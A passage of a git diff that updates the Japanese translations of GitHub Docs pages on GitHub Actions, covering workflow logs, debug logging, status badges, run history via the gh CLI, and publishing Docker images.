-   ![Super linter workflow results](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
+   ![Super linterワークフローの結果](/assets/images/help/repository/super-linter-workflow-results-updated-2.png)
 
-For more information, see "[Using workflow run logs](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)."
+詳しい情報については、「[ワークフロー実行ログを使用する](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)」を参照してください。
 
-### Enabling debug logging
+### デバッグロギングの有効化
 
-If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging. For more information, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."
+ワークフロージョブあるいはステップが期待どおりに動作しない理由を診断する上で、十分な詳細がワークフローのログになかった場合、追加のデバッグロギングを有効化できます。 詳しい情報については、「[デバッグログの有効化](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)」を参照してください。
 
-## Monitoring and troubleshooting self-hosted runners
+## セルフホストランナーのモニタリングとトラブルシューティング
 
-If you use self-hosted runners, you can view their activity and diagnose common issues. 
+If you use self-hosted runners, you can view their activity and diagnose common issues.
 
-For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+詳しい情報については「[セルフホストランナーのモニタリングとトラブルシューティング](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)」を参照してください。
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
index da7ac4443b..1ad7460b00 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a workflow status badge
-intro: You can display a status badge in your repository to indicate the status of your workflows.
+title: ワークフローステータスバッジを追加する
+intro: リポジトリにステータスバッジを表示して、ワークフローのステータスを示すことができます。
 redirect_from:
   - /actions/managing-workflow-runs/adding-a-workflow-status-badge
 versions:
@@ -16,28 +16,28 @@ shortTitle: Add a status badge
 
 {% data reusables.repositories.actions-workflow-status-badge-intro %}
 
-You reference the workflow by the name of your workflow file.
+ワークフローファイルの名前でワークフローを参照します。
 
 ```markdown
 ![example workflow]({% ifversion fpt or ghec %}https://github.com{% else %}<HOSTNAME>{% endif %}/<OWNER>/<REPOSITORY>/actions/workflows/<WORKFLOW_FILE>/badge.svg)
 ```
-## Using the workflow file name
+## ワークフローファイル名を使用する
 
-This Markdown example adds a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`.
+この Markdown の例では、`.github/workflow/main.yml`というファイル パスのワークフローにステータス バッジを追加します 。 リポジトリの `OWNER` は `github` Organization で、`REPOSITORY` 名は `docs` です。
 
 ```markdown
 ![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 ```
 
-## Using the `branch` parameter
+## `branch` パラメータを使用する
 
-This Markdown example adds a status badge for a branch with the name `feature-1`.
+この Markdown の例では、`feature-1`という名前のブランチにステータス バッジを追加します。
 
 ```markdown
 ![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1)
 ```
 
-## Using the `event` parameter
+## `event` パラメータを使用する
 
 This Markdown example adds a badge that displays the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch.
 
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
index faede007bc..16e1206f22 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling debug logging
-intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.'
+title: デバッグロギングの有効化
+intro: ワークフロージョブあるいはステップが期待どおりに動作しない理由を診断する上で、十分な詳細がワークフローのログになかった場合、追加のデバッグロギングを有効化できます。
 redirect_from:
   - /actions/managing-workflow-runs/enabling-debug-logging
 versions:
@@ -13,7 +13,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-These extra logs are enabled by setting secrets in the repository containing the workflow, so the same permissions requirements will apply:
+これらの追加ログは、ワークフローを含むリポジトリにシークレットを設定することで有効になるため、同じ権限要件が適用されます。
 
 - {% data reusables.github-actions.permissions-statement-secrets-repository %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
@@ -22,23 +22,23 @@ These extra logs are enabled by setting secrets in the repository containing the
 - {% data reusables.github-actions.permissions-statement-secrets-organization %}
 - {% data reusables.github-actions.permissions-statement-secrets-api %}
 
-For more information on setting secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+シークレットの設定に関する詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-## Enabling runner diagnostic logging
+## ランナーの診断ロギングの有効化
 
-Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive:
+ランナーの診断ログは、ランナーによるジョブの実行の様子に関する情報を含む追加のログファイルを提供します。 ログアーカイブには、2つのログファイルが追加されます。
 
-* The runner process log, which includes information about coordinating and setting up runners to execute jobs.
-* The worker process log, which logs the execution of a job.
+* ランナープロセスログにはジョブの実行のためのランナーの調整とセットアップに関する情報が含まれます。
+* ワーカープロセスログには、ジョブの実行が記録されます。
 
-1. To enable runner diagnostic logging, set the following secret in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`.
+1. ランナー診断ロギングを有効化するには、ワークフローを含むリポジトリ内で以下のシークレットを設定してください： `ACTIONS_RUNNER_DEBUG`を`true`にしてください。
 
-1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see "[Downloading logs](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)."
+1. ランナーの診断ログをダウンロードするには、ワークフローの実行のログアーカイブをダウンロードしてください。 ランナーの診断ログは`runner-diagnostic-logs`フォルダに含まれています。 ログのダウンロードに関する詳しい情報については「[ログのダウンロード](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)」を参照してください。
 
-## Enabling step debug logging
+## ステップのデバッグロギングの有効化
 
-Step debug logging increases the verbosity of a job's logs during and after a job's execution.
+ステップのデバッグロギングは、ジョブの実行の間と実行後のジョブのログの詳細度を高めます。
 
-1. To enable step debug logging, you must set the following secret in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`.
+1. ステップのデバッグロギングを有効化するには、ワークフローを含むリポジトリで以下のシークレットを設定しなければなりません： `ACTIONS_STEP_DEBUG`を`true`にしてください。
 
-1. After setting the secret, more debug events are shown in the step logs. For more information, see ["Viewing logs to diagnose failures"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
+1. このシークレットを設定すると、ステップログにより多くのデバッグイベントが示されるようになります。 詳しい情報については「[障害の診断のためのログの閲覧](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures)」を参照してください。
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/index.md
index 1c7b12c155..8f5c08c542 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/index.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/index.md
@@ -20,5 +20,6 @@ children:
   - /enabling-debug-logging
   - /notifications-for-workflow-runs
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
index 862e2cca8d..89c9f673d1 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
@@ -1,12 +1,12 @@
 ---
-title: Notifications for workflow runs
+title: ワークフロー実行の通知
 intro: You can subscribe to notifications about workflow runs that you trigger.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Notifications
+shortTitle: 通知
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
index 1b11253aaf..0ed20d7bdf 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
@@ -1,6 +1,6 @@
 ---
-title: Using the visualization graph
-intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows.
+title: 視覚化グラフの利用
+intro: すべてのワークフローの実行は、実行の進行を示すリアルタイムのグラフを生成します。 このグラフを使って、ワークフローをモニタリング及びデバッグできます。
 redirect_from:
   - /actions/managing-workflow-runs/using-the-visualization-graph
 versions:
@@ -19,8 +19,6 @@ shortTitle: Use the visualization graph
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 
-1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+1. このグラフは、ワークフロー中の各ジョブを表示します。 ジョブ名の左のアイコンは、ジョブのステータスを表示します。 ジョブ間の線は、依存関係を示します。 ![ワークフローグラフ](/assets/images/help/images/workflow-graph.png)
 
-2. Click on a job to view the job log.
-   ![Workflow graph](/assets/images/help/images/workflow-graph-job.png)
+2. ジョブをクリックすると、そのジョブのログが表示されます。 ![ワークフローグラフ](/assets/images/help/images/workflow-graph-job.png)
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
index dd021c9b38..857241eaa5 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Using workflow run logs
-intro: 'You can view, search, and download the logs for each job in a workflow run.'
+title: ワークフロー実行ログを使用する
+intro: ワークフロー実行の各ジョブのログを表示、検索、およびダウンロードできます。
 redirect_from:
   - /actions/managing-workflow-runs/using-workflow-run-logs
 versions:
@@ -13,21 +13,21 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see "[Access permissions on GitHub](/articles/access-permissions-on-github)."
+ワークフローの実行ページから、ワークフローの実行が進行中か完了しているかを確認できます。 パブリックなリポジトリの分も含むワークフローの実行情報を見るには、{% data variables.product.prodname_dotcom %}のアカウントにログインしなければなりません。 詳細は「[GitHub 上のアクセス権限](/articles/access-permissions-on-github)」を参照してください。
 
-If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts.
+実行が完了している場合には、結果が成功か失敗か、キャンセルされたか、またはニュートラルかを確認できます。 実行が失敗した場合には、ビルドログを表示して検索し、失敗の原因を診断してワークフローを再実行することもできます。 また、課金対象のジョブ実行時間を表示したり、ログやビルドの成果物をダウンロードすることもできます。
 
-{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see "[Checks](/rest/reference/checks)."
+{% data variables.product.prodname_actions %}は、Checks APIを使用してワークフローのステータス、結果、ログを出力します。 {% data variables.product.prodname_dotcom %} は、ワークフローの実行に対してそれぞれ新しいチェックスイートを作成します。 チェックスイートには、ワークフロー内の各ジョブに対するチェック実行が含まれ、各ジョブにはステップが含まれています。 {% data variables.product.prodname_actions %}は、ワークフローのステップとして実行されます。 Checks APIに関する詳しい情報については「[チェック](/rest/reference/checks)」を参照してください。
 
 {% data reusables.github-actions.invalid-workflow-files %}
 
-## Viewing logs to diagnose failures
+## ログを表示してエラーを診断する
 
-If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %}
+ワークフローの実行が失敗した場合には、どのステップが失敗の原因になったかを確認し、失敗したステップのビルドログを確かめてトラブルシューティングすることができます。 各ステップの実行にかかった時間もわかります。 ログファイルの特定の行のパーマリンクをコピーして、チームで共有することもできます。 {% data reusables.repositories.permissions-statement-read %}
 
-In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job".
+ワークフローファイルで設定されたステップに加えて、{% data variables.product.prodname_dotcom %} はジョブの実行をセットアップして完了するために、各ジョブに 2 つの追加ステップを追加します。 これらのステップは、「Set up job」および「Complete job」として実行されるワークフローに記録されます。
 
-For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner's virtual environment, and includes a link to the list of preinstalled tools that were present on the runner machine.
+{% data variables.product.prodname_dotcom %}ホストランナー上のジョブの実行では、"Set up job"はランナーの仮想環境の詳細を記録し、ランナーマシン上にあったプリインストールされたツールのリストへのリンクを含みます。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -37,25 +37,25 @@ For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Se
 {% data reusables.repositories.view-failed-job-results-superlinter %}
 {% data reusables.repositories.view-specific-line-superlinter %}
 
-## Searching logs
+## ログを検索する
 
-You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %}
+特定のステップのビルドログを検索できます。 ログを検索する際、展開されているステップのみが結果に含まれます。 {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query.
+1. ログ出力の右上隅にある [**Search logs（ログの検索）**] 検索ボックスに、検索クエリを入力します。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png)
+  ![ログを検索するための検索ボックス](/assets/images/help/repository/search-log-box-updated-2.png)
 {% else %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png)
+  ![ログを検索するための検索ボックス](/assets/images/help/repository/search-log-box-updated.png)
 {% endif %}
 
-## Downloading logs
+## ログのダウンロード
 
-You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." {% data reusables.repositories.permissions-statement-read %}
+ワークフローの実行からは、ログファイルをダウンロードできます。 また、ワークフローの成果物もダウンロードできます。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。 {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -64,14 +64,14 @@ You can download the log files from your workflow run. You can also download a w
 {% data reusables.repositories.navigate-to-job-superlinter %}
 1. In the upper right corner, click {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
+  ![[Download logs] ドロップダウンメニュー](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
   {% else %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png)
+  ![[Download logs] ドロップダウンメニュー](/assets/images/help/repository/download-logs-drop-down-updated.png)
   {% endif %}
 
-## Deleting logs
+## ログの削除
 
-You can delete the log files from your workflow run. {% data reusables.repositories.permissions-statement-write %}
+ワークフローの実行からログファイルを削除できます。 {% data reusables.repositories.permissions-statement-write %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -79,41 +79,41 @@ You can delete the log files from your workflow run. {% data reusables.repositor
 {% data reusables.repositories.view-run-superlinter %}
 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
+    ![水平ケバブアイコン](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
     {% else %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
+    ![水平ケバブアイコン](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
     {% endif %}
-2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. 
+2. ログファイルを削除するには、**Delete all logs（すべてのログを削除）**ボタンをクリックして、確認の要求を見てください 。
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png)
+  ![すべてのログを削除](/assets/images/help/repository/delete-all-logs-updated-2.png)
   {% else %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png)
+  ![すべてのログを削除](/assets/images/help/repository/delete-all-logs-updated.png)
   {% endif %}
-After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run.
+ログを削除すると、**Delete all logs（すべてのログを削除）**ボタンは消え、ワークフローの実行にログファイルが残っていないことを示します。
 
-## Viewing logs with {% data variables.product.prodname_cli %}
+## {% data variables.product.prodname_cli %} でログを表示する
 
 {% data reusables.cli.cli-learn-more %}
 
-To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run.
+特定のジョブのログを表示するには、`run view` サブコマンドを使用します。 `run-id` を、ログを表示する実行の ID に置き換えます。 {% data variables.product.prodname_cli %} は、実行からジョブを選択するためのインタラクティブメニューを返します。 `run-id` を指定しない場合、{% data variables.product.prodname_cli %} は最近の実行を選択するためのインタラクティブメニューを返し、次に実行からジョブを選択するための別のインタラクティブメニューを返します。
 
 ```shell
 gh run view <em>run-id</em> --log
 ```
 
-You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for.
+`--job` フラグを使用してジョブ ID を指定することもできます。 `job-id` を、ログを表示するジョブの ID に置き換えます。
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`.
+`grep` を使用してログを検索できます。 たとえば、このコマンドは `error` という単語を含むすべてのログエントリを返します。
 
 ```shell
 gh run view --job <em>job-id</em> --log | grep error
 ```
 
-To filter the logs for any failed steps, use `--log-failed` instead of `--log`.
+失敗したステップのログをフィルタするには、`--log` の代わりに `--log-failed` を使用します。
 
 ```shell
 gh run view --job <em>job-id</em> --log-failed
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
index f45197dc21..6ba8bb44b2 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing job execution time
-intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
+title: ジョブの実行時間を表示する
+intro: ジョブの実行時間 (ジョブの発生した支払対象の分を含む) を表示できます。
 redirect_from:
   - /actions/managing-workflow-runs/viewing-job-execution-time
 versions:
@@ -12,17 +12,16 @@ shortTitle: View job execution time
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
+Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. パブリックリポジトリで {% data variables.product.prodname_actions %} を使用する場合、またはセルフホストランナーで実行されるジョブの場合、請求対象となる実行時間はありません。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+1. ジョブの概要の下で、ジョブの実行時間を表示できます。 請求可能なジョブの実行時間に関する詳細を表示するには、**Billable time（請求可能な時間）**の下の時間をクリックしてください。 ![実行および支払請求可能な時間の詳細リンク](/assets/images/help/repository/view-run-billable-time.png)
 
    {% note %}
-   
+
    **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
-   
+
    {% endnote %}
diff --git a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
index 6ecf2c01cc..1a7a7c1781 100644
--- a/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
+++ b/translations/ja-JP/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing workflow run history
-intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow.
+title: ワークフロー実行の履歴を表示する
+intro: ワークフロー実行ごとにログを表示できます。 ログには、ワークフローの各ジョブとステップのステータスが含まれます。
 redirect_from:
   - /actions/managing-workflow-runs/viewing-workflow-run-history
 versions:
@@ -16,8 +16,6 @@ shortTitle: View workflow run history
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -31,53 +29,53 @@ shortTitle: View workflow run history
 
 {% data reusables.cli.cli-learn-more %}
 
-### Viewing recent workflow runs
+### 最近のワークフロー実行を表示する
 
-To list the recent workflow runs, use the `run list` subcommand.
+最近のワークフロー実行を一覧表示するには、`run list` サブコマンドを使用します。
 
 ```shell
 gh run list
 ```
 
-To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`.
+返す実行の最大数を指定するには、`-L` または `--limit` フラグを使用できます。 省略値は、`10` です。
 
 ```shell
 gh run list --limit 5
 ```
 
-To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag.  Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`.
+指定されたワークフローの実行のみを返すには、`-w` または `--workflow` フラグを使用できます。  `workflow` をワークフロー名、ワークフロー ID、またはワークフローファイル名のいずれかに置き換えます。 たとえば、`"Link Checker"`、`1234567`、`"link-check-test.yml"` などです。
 
 ```shell
 gh run list --workflow <em>workflow</em>
 ```
 
-### Viewing details for a specific workflow run
+### 特定のワークフロー実行の詳細を表示する
 
-To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+特定のワークフロー実行の詳細を表示するには、`run view` サブコマンドを使用します。 `run-id` を、表示する実行の ID に置き換えます。 `run-id` を指定しない場合、{% data variables.product.prodname_cli %} は、最近の実行を選択するためのインタラクティブメニューを返します。
 
 ```shell
 gh run view <em>run-id</em>
 ```
 
-To include job steps in the output, use the `-v` or `--verbose` flag.
+出力にジョブステップを含めるには、`-v` または `--verbose` フラグを使用します。
 
 ```shell
 gh run view <em>run-id</em> --verbose
 ```
 
-To view details for a specific job in the run, use the `-j` or `--job` flag.  Replace `job-id` with the ID of the job that you want to view.
+実行中の特定のジョブの詳細を表示するには、`-j` または `--job` フラグを使用します。  `job-id` を表示するジョブの ID に置き換えます。
 
 ```shell
 gh run view --job <em>job-id</em>
 ```
 
-To view the full log for a job, use the `--log` flag.
+ジョブの完全なログを表示するには、`-log` フラグを使用します。
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example:
+実行が失敗した場合にゼロ以外のステータスで終了するには、`--exit-status` フラグを使用します。 例:
 
 ```shell
 gh run view 0451 --exit-status && echo "run pending or passed"
diff --git a/translations/ja-JP/content/actions/publishing-packages/index.md b/translations/ja-JP/content/actions/publishing-packages/index.md
index 843d525047..029682d88b 100644
--- a/translations/ja-JP/content/actions/publishing-packages/index.md
+++ b/translations/ja-JP/content/actions/publishing-packages/index.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing packages
-shortTitle: Publishing packages
+title: パッケージの公開
+shortTitle: パッケージの公開
 intro: 'You can automatically publish packages using {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
diff --git a/translations/ja-JP/content/actions/publishing-packages/publishing-docker-images.md b/translations/ja-JP/content/actions/publishing-packages/publishing-docker-images.md
index d7fe77fb52..4a78858f3b 100644
--- a/translations/ja-JP/content/actions/publishing-packages/publishing-docker-images.md
+++ b/translations/ja-JP/content/actions/publishing-packages/publishing-docker-images.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Docker images
-intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.'
+title: Dockerイメージの公開
+intro: '継続的インテグレーション（CI）の一部として、Docker Hubや{% data variables.product.prodname_registry %}といったレジストリに対しDockerイメージを公開できます。'
 redirect_from:
   - /actions/language-and-framework-guides/publishing-docker-images
   - /actions/guides/publishing-docker-images
@@ -19,52 +19,52 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries.
+このガイドでは、Dockerのビルドを実行し、DockerのイメージをDocker Hubあるいは{% data variables.product.prodname_registry %}に公開するワークフローの作成方法を紹介します。 1つのワークフローで、1つのレジストリあるいは複数のレジストリにイメージを公開できます。
 
 {% note %}
 
-**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template.
+**ノート:** 他のサードパーティのDockerレジストリにプッシュしたい場合は、「[{% data variables.product.prodname_registry %}へのイメージの公開](#publishing-images-to-github-packages)」セクションにある例がよいテンプレートになるでしょう。
 
 {% endnote %}
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+ワークフローの設定オプションと、ワークフローファイルの作成方法についての基本的な知識を持っておくことをおすすめします。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-You might also find it helpful to have a basic understanding of the following:
+以下についての基本的な理解があると役に立つでしょう。
 
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
+- 「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」
 - "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
 - "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
 - "[Working with the Docker registry](/packages/working-with-a-github-packages-registry/working-with-the-docker-registry)"{% endif %}
 
-## About image configuration
+## イメージの設定について
 
